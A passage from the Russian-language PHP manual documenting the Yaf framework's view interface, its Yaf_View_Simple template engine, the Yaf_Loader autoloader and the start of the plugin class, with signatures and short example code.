abstract public display(string $tpl, array $tpl_vars = ?): bool
abstract public getScriptPath(): void
abstract public render(string $tpl, array $tpl_vars = ?): string
abstract public setScriptPath(string $template_dir): void
}

Содержание

  • Yaf_View_Interface::assign — Назначает значение для движка отображения
  • Yaf_View_Interface::display — Отрисовывает и выводит шаблон
  • Yaf_View_Interface::getScriptPath — Назначение getScriptPath
  • Yaf_View_Interface::render — Отрисовывает шаблон
  • Yaf_View_Interface::setScriptPath — Назначение setScriptPath

User Contributed Notes

There are no user contributed notes for this page.


Назначает значение для движка отображения

  • « Yaf_View_Interface
  • Yaf_View_Interface::display »
  • PHP Manual
  • Yaf_View_Interface
  • Назначает значение для движка отображения

Yaf_View_Interface::assign

(Yaf >=1.0.0)

Yaf_View_Interface::assign — Назначает значение для движка отображения

Описание

abstract public Yaf_View_Interface::assign(string $name, string $value = ?): bool

Присваивает значения движку отображения, после чего к значению можно обращаться напрямую по имени в шаблоне.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отрисовывает и выводит шаблон

  • « Yaf_View_Interface::assign
  • Yaf_View_Interface::getScriptPath »
  • PHP Manual
  • Yaf_View_Interface
  • Отрисовывает и выводит шаблон

Yaf_View_Interface::display

(Yaf >=1.0.0)

Yaf_View_Interface::display — Отрисовывает и выводит шаблон

Описание

abstract public Yaf_View_Interface::display(string $tpl, array $tpl_vars = ?): bool

Отрисовывает шаблон и немедленно выводит результат.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

tpl

tpl_vars

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getScriptPath

  • « Yaf_View_Interface::display
  • Yaf_View_Interface::render »
  • PHP Manual
  • Yaf_View_Interface
  • Назначение getScriptPath

Yaf_View_Interface::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::getScriptPath — Назначение getScriptPath

Описание

abstract public Yaf_View_Interface::getScriptPath(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отрисовывает шаблон

  • « Yaf_View_Interface::getScriptPath
  • Yaf_View_Interface::setScriptPath »
  • PHP Manual
  • Yaf_View_Interface
  • Отрисовывает шаблон

Yaf_View_Interface::render

(Yaf >=1.0.0)

Yaf_View_Interface::render — Отрисовывает шаблон

Описание

abstract public Yaf_View_Interface::render(string $tpl, array $tpl_vars = ?): string

Отрисовывает шаблон и возвращает результат.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

tpl

tpl_vars

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение setScriptPath

  • « Yaf_View_Interface::render
  • Yaf_View_Simple »
  • PHP Manual
  • Yaf_View_Interface
  • Назначение setScriptPath

Yaf_View_Interface::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::setScriptPath — Назначение setScriptPath

Описание

abstract public Yaf_View_Interface::setScriptPath(string $template_dir): void

Устанавливает базовый каталог шаблонов, обычно вызывается в Yaf_Dispatcher

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

template_dir

Абсолютный путь к каталогу шаблонов по умолчанию Yaf_Dispatcher используется application.directory . "/views".

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_View_Simple

(Yaf >=1.0.0)

Введение

Yaf_View_Simple - это встроенный шаблонный движок Yaf. Он простой, но быстрый и поддерживает только шаблоны PHP-скриптов.

Обзор классов

class Yaf_View_Simple implements Yaf_View_Interface {
/* Свойства */
protected $_tpl_vars;
protected $_tpl_dir;
/* Методы */
final public __construct(string $template_dir, array $options = ?)
public assign(string $name, mixed $value = ?): bool
public assignRef(string $name, mixed &$value): bool
public clear(string $name = ?): bool
public display(string $tpl, array $tpl_vars = ?): bool
public eval(string $tpl_content, array $tpl_vars = ?): string
public __get(string $name = ?): void
public getScriptPath(): string
public __isset(string $name): void
public render(string $tpl, array $tpl_vars = ?): string
public __set(string $name, mixed $value): void
public setScriptPath(string $template_dir): bool
}

Свойства

_tpl_vars

_tpl_dir

Содержание

  • Yaf_View_Simple::assign — Назначить значения
  • Yaf_View_Simple::assignRef — Назначение assignRef
  • Yaf_View_Simple::clear — Сбрасывает назначенные значения
  • Yaf_View_Simple::__construct — Конструктор класса Yaf_View_Simple
  • Yaf_View_Simple::display — Отрисовывает и отображает
  • Yaf_View_Simple::eval — Отрисовывает шаблон
  • Yaf_View_Simple::__get — Получает назначенную переменную
  • Yaf_View_Simple::getScriptPath — Получает каталог шаблонов
  • Yaf_View_Simple::__isset — Назначение __isset
  • Yaf_View_Simple::render — Отрисовывает шаблон
  • Yaf_View_Simple::__set — Устанавливает значение для движка
  • Yaf_View_Simple::setScriptPath — Устанавливает каталог шаблонов

User Contributed Notes

There are no user contributed notes for this page.


Назначить значения

  • « Yaf_View_Simple
  • Yaf_View_Simple::assignRef »
  • PHP Manual
  • Yaf_View_Simple
  • Назначить значения

Yaf_View_Simple::assign

(Yaf >=1.0.0)

Yaf_View_Simple::assign — Назначить значения

Описание

public Yaf_View_Simple::assign(string $name, mixed $value = ?): bool

Назначает переменную для движка отображения

Список параметров

name

Строка или массив.

Если это строка, то следующий аргумент $value обязателен.

value

Различное значение

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_View_Simple::assign()

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$this->getView()->assign("foo", "bar");
$this->_view->assign( array( "key" => "value", "name" => "value"));
}
}
?>

Пример #2 Пример использования template()

<html>
<head>
<title><?php echo $foo; ?></title>
</head>
<body>
<?php

foreach ($this->_tpl_vars as $name => $value) {
echo $$name; // или echo $this->_tpl_vars[$name];
}
?>
</body>
</html>

Смотрите также

  • Yaf_View_Simple::assignRef() - Назначение assignRef
  • Yaf_View_Interface::clear()
  • Yaf_View_Simple::__set() - Устанавливает значение для движка

User Contributed Notes

There are no user contributed notes for this page.


Назначение assignRef

  • « Yaf_View_Simple::assign
  • Yaf_View_Simple::clear »
  • PHP Manual
  • Yaf_View_Simple
  • Назначение assignRef

Yaf_View_Simple::assignRef

(Yaf >=1.0.0)

Yaf_View_Simple::assignRef — Назначение assignRef

Описание

public Yaf_View_Simple::assignRef(string $name, mixed &$value): bool

В отличие от Yaf_View_Simple::assign(), этот метод присваивает значение ref движку.

Список параметров

name

Строковое имя, которое будет использоваться для доступа к значению в шаблоне.

value

Различное значение

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_View_Simple::assignRef()

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$value = "bar";
$this->getView()->assign("foo", $value);

/* обратите внимание, что до Yaf 2.1.4 была ошибка,
* которая делает следующий вывод "bar";
*/
$dummy = $this->getView()->render("index/index.phtml");
echo $value;

// предотвратить авто-рендеринг
Yaf_Dispatcher::getInstance()->autoRender(FALSE);
}
}
?>

Пример #2 Пример использования template()

<html>
<head>
<title><?php echo $foo; $foo = "changed"; ?></title>
</head>
<body>
</body>
</html>

Результатом выполнения данного примера будет что-то подобное:

/* доступ к IndexController: */
changed

Смотрите также

  • Yaf_View_Simple::assign() - Назначить значения
  • Yaf_View_Simple::__set() - Устанавливает значение для движка

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает назначенные значения

  • « Yaf_View_Simple::assignRef
  • Yaf_View_Simple::__construct »
  • PHP Manual
  • Yaf_View_Simple
  • Сбрасывает назначенные значения

Yaf_View_Simple::clear

(Yaf >=2.2.0)

Yaf_View_Simple::clear — Сбрасывает назначенные значения

Описание

public Yaf_View_Simple::clear(string $name = ?): bool

Сбрасывает назначенные значения

Список параметров

name

Присвоенное имя переменной

Если не указано, очистит все назначенные переменные

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_View_Simple::clear()

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$this->getView()->clear("foo")->clear("bar"); // очистить "foo" и "bar"
$this->_view->clear(); //очистить все назначенные переменные
}
}
?>

Смотрите также

  • Yaf_View_Simple::assignRef() - Назначение assignRef
  • Yaf_View_Interface::assign() - Назначает значение для движка отображения
  • Yaf_View_Simple::__set() - Устанавливает значение для движка

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_View_Simple

  • « Yaf_View_Simple::clear
  • Yaf_View_Simple::display »
  • PHP Manual
  • Yaf_View_Simple
  • Конструктор класса Yaf_View_Simple

Yaf_View_Simple::__construct

(Yaf >=1.0.0)

Yaf_View_Simple::__construct — Конструктор класса Yaf_View_Simple

Описание

final public Yaf_View_Simple::__construct(string $template_dir, array $options = ?)

Список параметров

template_dir

Базовый каталог шаблонов, по умолчанию это APPLICATOIN . "/views" для Yaf.

options

Опции для движка, начиная с Yaf 2.1.13, вы можете использовать short_tag
      "<?=$var?>" в своём шаблоне (независимо от "short_open_tag"),
      чтобы предотвратить использование short_tag в шаблоне,
      имеется опция с именем "short_tag", которую вы можете отключить.

Примеры

Пример #1 Пример использования Yaf_View_Simple::__constructor()

<?php
define ("TEMPLATE_DIRECTORY", APPLICATOIN_PATH . '/views');
$view = new Yaf_View_Simple(TEMPLATE_DIRECTORY, array(
'short_tag' => false //не позволяет использовать короткие теги в шаблоне
));
?>

User Contributed Notes

There are no user contributed notes for this page.


Отрисовывает и отображает

  • « Yaf_View_Simple::__construct
  • Yaf_View_Simple::eval »
  • PHP Manual
  • Yaf_View_Simple
  • Отрисовывает и отображает

Yaf_View_Simple::display

(Yaf >=1.0.0)

Yaf_View_Simple::display — Отрисовывает и отображает

Описание

public Yaf_View_Simple::display(string $tpl, array $tpl_vars = ?): bool

Отрисовывает шаблон и мгновенно отображает результат.

Список параметров

tpl

tpl_vars

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отрисовывает шаблон

  • « Yaf_View_Simple::display
  • Yaf_View_Simple::__get »
  • PHP Manual
  • Yaf_View_Simple
  • Отрисовывает шаблон

Yaf_View_Simple::eval

(Yaf >=2.2.0)

Yaf_View_Simple::eval — Отрисовывает шаблон

Описание

public Yaf_View_Simple::eval(string $tpl_content, array $tpl_vars = ?): string

Отрисовывает шаблон строки и возвращает результат.

Список параметров

tpl_content

Строка шаблона

tpl_vars

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает назначенную переменную

  • « Yaf_View_Simple::eval
  • Yaf_View_Simple::getScriptPath »
  • PHP Manual
  • Yaf_View_Simple
  • Получает назначенную переменную

Yaf_View_Simple::__get

(Yaf >=1.0.0)

Yaf_View_Simple::__get — Получает назначенную переменную

Описание

public Yaf_View_Simple::__get(string $name = ?): void

Получает назначенную переменную

Замечание:

Параметр может быть пустым с 2.1.11

Список параметров

name

Присвоенное имя переменной

Если не указано, будут возвращены все назначенные переменные

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает каталог шаблонов

  • « Yaf_View_Simple::__get
  • Yaf_View_Simple::__isset »
  • PHP Manual
  • Yaf_View_Simple
  • Получает каталог шаблонов

Yaf_View_Simple::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::getScriptPath — Получает каталог шаблонов

Описание

public Yaf_View_Simple::getScriptPath(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __isset

  • « Yaf_View_Simple::getScriptPath
  • Yaf_View_Simple::render »
  • PHP Manual
  • Yaf_View_Simple
  • Назначение __isset

Yaf_View_Simple::__isset

(Yaf >=1.0.0)

Yaf_View_Simple::__isset — Назначение __isset

Описание

public Yaf_View_Simple::__isset(string $name): void

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отрисовывает шаблон

  • « Yaf_View_Simple::__isset
  • Yaf_View_Simple::__set »
  • PHP Manual
  • Yaf_View_Simple
  • Отрисовывает шаблон

Yaf_View_Simple::render

(Yaf >=1.0.0)

Yaf_View_Simple::render — Отрисовывает шаблон

Описание

public Yaf_View_Simple::render(string $tpl, array $tpl_vars = ?): string

Отрисовывает шаблон и возвращает результат.

Список параметров

tpl

tpl_vars

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение для движка

  • « Yaf_View_Simple::render
  • Yaf_View_Simple::setScriptPath »
  • PHP Manual
  • Yaf_View_Simple
  • Устанавливает значение для движка

Yaf_View_Simple::__set

(Yaf >=1.0.0)

Yaf_View_Simple::__set — Устанавливает значение для движка

Описание

public Yaf_View_Simple::__set(string $name, mixed $value): void

Альтернативный и более простой способ Yaf_View_Simple::assign().

Список параметров

name

Имя строкового значения.

value

Различное значение.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_View_Simple::__set()exampl

<?php
class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
$this->getView()->foo = "bar"; // то же, что и assign("foo", "bar");
}
}
?>

Смотрите также

  • Yaf_View_Simple::assignRef() - Назначение assignRef
  • Yaf_View_Interface::assign() - Назначает значение для движка отображения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает каталог шаблонов

  • « Yaf_View_Simple::__set
  • Yaf_Loader »
  • PHP Manual
  • Yaf_View_Simple
  • Устанавливает каталог шаблонов

Yaf_View_Simple::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::setScriptPath — Устанавливает каталог шаблонов

Описание

public Yaf_View_Simple::setScriptPath(string $template_dir): bool

Список параметров

template_dir

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Loader

(Yaf >=1.0.0)

Введение

Yaf_Loader представляет комплексное решение для автозагрузки для Yaf.

При первом извлечении экземпляра Yaf_Application, Yaf_Loader создаёт экземпляр-одиночку и регистрируется с помощью spl_autoload. Вы извлекаете экземпляр, используя Yaf_Loader::getInstance()

Yaf_Loader попытается загрузить класс только один раз, в случае возникновения ошибки, зависит от yaf.use_spl_auload, если эта конфигурация включена Yaf_Loader::autoload() вернёт false, таким образом предоставляя возможность другой функции автозагрузки. Если выключена (по умолчанию), Yaf_Loader::autoload() вернёт true, а также сработает очень полезное предупреждение (полезно, чтобы выяснить, почему класс не может быть загружен).

Замечание:

Пожалуйста, оставьте yaf.use_spl_autoload выключенным, если в какой-то библиотеке нет собственного механизма автозагрузки и его невозможно переписать.

По умолчанию Yaf_Loader предполагает, что вся библиотека (сценарий, определённый классом) хранится в каталоге глобальной библиотеки, который определён в php.ini (yaf.library).

Если вы хотите с помощью Yaf_Loader выполнить поиск некоторых классов (библиотек) в каталоге локальных классов (который определён в application.ini, по умолчанию это application.directory. "/library"), вы должны зарегистрировать префикс класса, используя Yaf_Loader::registerLocalNameSpace()

Давайте посмотрим несколько примеров (при условии, что APPLICATION_PATH application.directory):

Пример #1 Пример конфигурации

// Предполагаются следующие настройки в php.ini:
yaf.library = "/global_dir"

//Предполагаются следующие настройки в php.ini:
application.library = APPLICATION_PATH "/library"
Предполагается, что зарегистрировано следующее локальное пространство имён:

Пример #2 Зарегистрировать локальное пространство имён

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
public function _initLoader($dispatcher) {
Yaf_Loader::getInstance()->registerLocalNameSpace(array("Foo", "Bar"));
}
?>
Тогда пример автозагрузки:

Пример #3 Пример загрузки класса

class Foo_Bar_Test =>
  // APPLICATION_PATH/library/Foo/Bar/Test.php

class GLO_Name  =>
  // /global_dir/Glo/Name.php

class BarNon_Test
  // /global_dir/Barnon/Test.php

Пример #4 Пример загрузки класса имён

class \Foo\Bar\Dummy =>
   // APPLICATION_PATH/library/Foo/Bar/Dummy.php

class \FooBar\Bar\Dummy =>
   // /global_dir/FooBar/Bar/Dummy.php

Вы можете заметить, что все папки с первой буквой заглавными, вы можете сделать их строчными, установив yaf.lowcase_path = On в php.ini.

Yaf_Loader также предназначен для загрузки классов MVC, и правило таково:

Пример #5 Пример загрузки класса MVC

Controller Classes =>
// APPLICATION_PATH/controllers/

Model Classes =>
// APPLICATION_PATH/models/

Plugin Classes =>
// APPLICATION_PATH/plugins/
Yaf идентифицирует суффикс класса (это по умолчанию, вы также можете изменить его на префикс, изменив конфигурацию yaf.name_suffix), чтобы решить, является ли он классом MVC:

Пример #6 Классовые различия MVC

Controller Classes =>
    // ***Controller

Model Classes =>
    // ***Model

Plugin Classes =>
    // ***Plugin
несколько примеров:

Пример #7 Пример загрузки MVC

class IndexController
    // APPLICATION_PATH/controllers/Index.php

class DataModel =>
   // APPLICATION_PATH/models/Data.php

class DummyPlugin =>
  // APPLICATION_PATH/plugins/Dummy.php

class A_B_TestModel =>
  // APPLICATION_PATH/models/A/B/Test.php

Замечание:

Начиная с 2.1.18, Yaf поддерживает автозагрузку контроллеров для стороны пользовательского скрипта (что означает автозагрузку, запускаемую пользовательским скриптом php, например: доступ к статическому свойству контроллера в Bootstrap или плагинах), но автозагрузчик только пытается найти скрипт класса контроллера в папке модуля по умолчанию, которая называется "APPLICATION_PATH/controllers/".

также на каталог будет влиять yaf.lowcase_path.

Обзор классов

class Yaf_Loader {
/* Свойства */
protected $_local_ns;
protected $_library;
protected $_global_library;
static $_instance;
/* Методы */
private __construct()
public autoload(): void
public clearLocalNamespace(): void
public static getInstance(): void
public getLibraryPath(bool $is_global = false): Yaf_Loader
public getLocalNamespace(): void
public getNamespacePath(string $namespaces): string
public getNamespaces(): array
public static import(): void
public isLocalName(): void
public registerLocalNamespace(mixed $prefix): void
public registerNamespace(string|array $namespaces, string $path = ?): bool
public setLibraryPath(string $directory, bool $is_global = false): Yaf_Loader
}

Свойства

_local_ns

_library

По умолчанию это значение равно application.directory . "/library", вы можете изменить это либо в application.ini(application.library), либо вызвать Yaf_Loader::setLibraryPath()

_global_library

_instance

Содержание

  • Yaf_Loader::autoload — Назначение autoload
  • Yaf_Loader::clearLocalNamespace — Назначение clearLocalNamespace
  • Yaf_Loader::__construct — Назначение __construct
  • Yaf_Loader::getInstance — Назначение getInstance
  • Yaf_Loader::getLibraryPath — Получает путь к библиотеке
  • Yaf_Loader::getLocalNamespace — Назначение getLocalNamespace
  • Yaf_Loader::getNamespacePath — Получает путь зарегистрированного пространства имён
  • Yaf_Loader::getLocalNamespace — Получает всю информацию о зарегистрированных пространствах имён
  • Yaf_Loader::import — Назначение import
  • Yaf_Loader::isLocalName — Назначение isLocalName
  • Yaf_Loader::registerLocalNamespace — Регистрирует префикс локального класса
  • Yaf_Loader::registerNamespace — Регистрирует пространство имён с путём поиска
  • Yaf_Loader::setLibraryPath — Изменяет путь к библиотеке

User Contributed Notes

There are no user contributed notes for this page.


Назначение autoload

  • « Yaf_Loader
  • Yaf_Loader::clearLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • Назначение autoload

Yaf_Loader::autoload

(Yaf >=1.0.0)

Yaf_Loader::autoload — Назначение autoload

Описание

public Yaf_Loader::autoload(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение clearLocalNamespace

  • « Yaf_Loader::autoload
  • Yaf_Loader::__construct »
  • PHP Manual
  • Yaf_Loader
  • Назначение clearLocalNamespace

Yaf_Loader::clearLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::clearLocalNamespace — Назначение clearLocalNamespace

Описание

public Yaf_Loader::clearLocalNamespace(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение __construct

  • « Yaf_Loader::clearLocalNamespace
  • Yaf_Loader::getInstance »
  • PHP Manual
  • Yaf_Loader
  • Назначение __construct

Yaf_Loader::__construct

(Yaf >=1.0.0)

Yaf_Loader::__construct — Назначение __construct

Описание

private Yaf_Loader::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getInstance

  • « Yaf_Loader::__construct
  • Yaf_Loader::getLibraryPath »
  • PHP Manual
  • Yaf_Loader
  • Назначение getInstance

Yaf_Loader::getInstance

(Yaf >=1.0.0)

Yaf_Loader::getInstance — Назначение getInstance

Описание

public static Yaf_Loader::getInstance(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает путь к библиотеке

  • « Yaf_Loader::getInstance
  • Yaf_Loader::getLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • Получает путь к библиотеке

Yaf_Loader::getLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::getLibraryPath — Получает путь к библиотеке

Описание

public Yaf_Loader::getLibraryPath(bool $is_global = false): Yaf_Loader

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getLocalNamespace

  • « Yaf_Loader::getLibraryPath
  • Yaf_Loader::getNamespacePath »
  • PHP Manual
  • Yaf_Loader
  • Назначение getLocalNamespace

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — Назначение getLocalNamespace

Описание

public Yaf_Loader::getLocalNamespace(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает путь зарегистрированного пространства имён

  • « Yaf_Loader::getLocalNamespace
  • Yaf_Loader::getLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • Получает путь зарегистрированного пространства имён

Yaf_Loader::getNamespacePath

(Yaf >=3.2.0)

Yaf_Loader::getNamespacePath — Получает путь зарегистрированного пространства имён

Описание

public Yaf_Loader::getNamespacePath(string $namespaces): string

Получает путь зарегистрированного пространства имён

Список параметров

namespace

Строка пространства имён.

Возвращаемые значения

string путь, если пространство имён не зарегистрировано, то вернёт null. Будет возвращена библиотека по умолчанию.

Примеры

Пример #1 Пример использования Yaf_Loader::registerNamespace()

<?php
$loader = Yaf_Loader::getInstance("/var/application/lib");
$loader->registerNamespace("\Vendor\PHP", "/var/lib/php");

$loader->getNamespacePath("\Vendor\PHP"); // '/var/lib/php'
$loader->getNamespacePath("\Vendor\JSP"); // '/var/application/lib'

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает всю информацию о зарегистрированных пространствах имён

  • « Yaf_Loader::getNamespacePath
  • Yaf_Loader::import »
  • PHP Manual
  • Yaf_Loader
  • Получает всю информацию о зарегистрированных пространствах имён

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — Получает всю информацию о зарегистрированных пространствах имён

Описание

public Yaf_Loader::getNamespaces(): array

Получает информацию о зарегистрированных пространствах имён

Список параметров

У этой функции нет параметров.

Возвращаемые значения

array

User Contributed Notes

There are no user contributed notes for this page.


Назначение import

  • « Yaf_Loader::getLocalNamespace
  • Yaf_Loader::isLocalName »
  • PHP Manual
  • Yaf_Loader
  • Назначение import

Yaf_Loader::import

(Yaf >=1.0.0)

Yaf_Loader::import — Назначение import

Описание

public static Yaf_Loader::import(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение isLocalName

  • « Yaf_Loader::import
  • Yaf_Loader::registerLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • Назначение isLocalName

Yaf_Loader::isLocalName

(Yaf >=1.0.0)

Yaf_Loader::isLocalName — Назначение isLocalName

Описание

public Yaf_Loader::isLocalName(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует префикс локального класса

  • « Yaf_Loader::isLocalName
  • Yaf_Loader::registerNamespace »
  • PHP Manual
  • Yaf_Loader
  • Регистрирует префикс локального класса

Yaf_Loader::registerLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::registerLocalNamespace — Регистрирует префикс локального класса

Описание

public Yaf_Loader::registerLocalNamespace(mixed $prefix): void

Регистрирует префикс локального класса, Yaf_Loader ищет классы в двух каталогах библиотеки, один из которых настраивается с помощью application.library.directory (в application.ini) который называется локальным каталогом библиотек; другой настраивается с помощью yaf.library (в php.ini), который называется глобальным каталогом библиотеки, так как он может использоваться многими приложениями на одном сервере.

Когда запускается автозагрузка, Yaf_Loader будет определять, в каком каталоге библиотеки следует искать, следует искать, проверяя имя префикса пропущенного имени класса. Если имя префикса зарегистрировано как localnamespack, будет искать в каталоге локальной библиотеки, в противном случае — в каталоге глобальной библиотеки.

Замечание:

Если yaf.library не настроен, то предполагается, что каталог глобальной библиотеки является каталогом локальной библиотеки. В этом случае все автозагрузки будут искать каталог локальной библиотеки. Но если вы хотите, чтобы ваше приложение Yaf было устойчивым, всегда регистрируйте свои собственные классы как локальные.

Список параметров

prefix

Строка или массив префиксов имени класса. Все префиксы класса с этим префиксом будут загружены в путь локальной библиотеки.

Возвращаемые значения

Логический тип (bool)

Примеры

Пример #1 Пример использования Yaf_Loader::registerLocalNamespace()

<?php
$loader = Yaf_Loader::getInstance('/local/library/', '/global/library');
$loader->registerLocalNamespace("Baidu");
$loader->registerLocalNamespace(array("Sina", "Weibo"));

$loader->autoload("Baidu_Name"); // будет искать в '/local/library/'
$loader->autoload("Sina"); // будет искать в '/local/library/'
$loader->autoload("Global_Name");// будет искать в '/global/library/'
$loader->autoload("Foo_Bar"); // будет искать в '/global/library/'

?>

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует пространство имён с путём поиска

  • « Yaf_Loader::registerLocalNamespace
  • Yaf_Loader::setLibraryPath »
  • PHP Manual
  • Yaf_Loader
  • Регистрирует пространство имён с путём поиска

Yaf_Loader::registerNamespace

(Yaf >=3.2.0)

Yaf_Loader::registerNamespace — Регистрирует пространство имён с путём поиска

Описание

public Yaf_Loader::registerNamespace(string|array $namespaces, string $path = ?): bool

Регистрирует пространство имён с путём поиска, Yaf_Loader ищет классы в этом пространстве имён в пути, оно также может быть настроено с помощью application.library.directory.namespace(в application.ini);

Замечание:

Yaf всё ещё рассматривает, подчёркивание как разделитель папок.

Список параметров

namespace

строка пространства имён или массив пространств имён с путями.

path

строка пути, лучше использовать абсолютный путь для производительности

Возвращаемые значения

bool

Примеры

Пример #1 Пример использования Yaf_Loader::registerNamespace()

<?php
$loader = Yaf_Loader::getInstance();
$loader->registerNamespace("\Vendor\PHP", "/var/lib/php");
$loader->registerNamespace(array(
"\Vendor\ASP" => "/var/lib/asp",
"\Vendor\JSP" => "/usr/lib/vendor/",
));

$loader->autoload("\Vendor\PHP\Dummy"); //load '/var/lib/php/Dummy.php'
$loader->autoload("\Vendor\PHP\Foo_Bar"); //load '/var/lib/php/Foo/Bar.php'
$loader->autoload("\Vendor\JSP\Dummy"); //load '/usr/lib/vendor/Dummy.php'

?>

User Contributed Notes

There are no user contributed notes for this page.


Изменяет путь к библиотеке

  • « Yaf_Loader::registerNamespace
  • Yaf_Plugin_Abstract »
  • PHP Manual
  • Yaf_Loader
  • Изменяет путь к библиотеке

Yaf_Loader::setLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::setLibraryPath — Изменяет путь к библиотеке

Описание

public Yaf_Loader::setLibraryPath(string $directory, bool $is_global = false): Yaf_Loader

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Plugin_Abstract

(Yaf >=1.0.0)

Введение

Плагины позволяют легко расширять и настраивать фреймворк.

Плагины являются классами. Определение класса будет меняться в зависимости от компонента - вам может понадобиться реализовать этот интерфейс, но факт остаётся фактом, плагин сам является классом.

Плагин должен быть загружен в Yaf с использованием Yaf_Dispatcher::registerPlugin(). После регистрации, все методы, реализованные плагином в соответствии с этим интерфейсом, будут вызываться вовремя.

Примеры

Пример #1 Пример плагина

<?php
/* Класс bootstrap должен быть определён как ./application/Bootstrap.php */
class Bootstrap extends Yaf_Bootstrap_Abstract {
public function _initPlugin(Yaf_Dispatcher $dispatcher) {
/* регистрируем плагин */
$dispatcher->registerPlugin(new TestPlugin());
}
}

/* класс плагина должен лежать в ./application/plugins/ */
class TestPlugin extends Yaf_Plugin_Abstract {
public function routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
/* перед тем, как приступит к работе маршрутизатор,
пользователь может сам поработать с перезаписью URL */
var_dump("routerStartup");
}
public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
/* Маршрутизатор отработал, следовательно можно перейти к проверке логина */
var_dump("routerShutdown");
}
public function dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump("dispatchLoopStartup");
}
public function preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump("preDispatch");
}
public function postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump("postDispatch");
}
public function dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
/* последняя возможность для пользователя что-то сделать */
var_dump("dispatchLoopShutdown");
}
}

Class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
return FALSE; //предотвращаем рендеринг
}
}

$config = array(
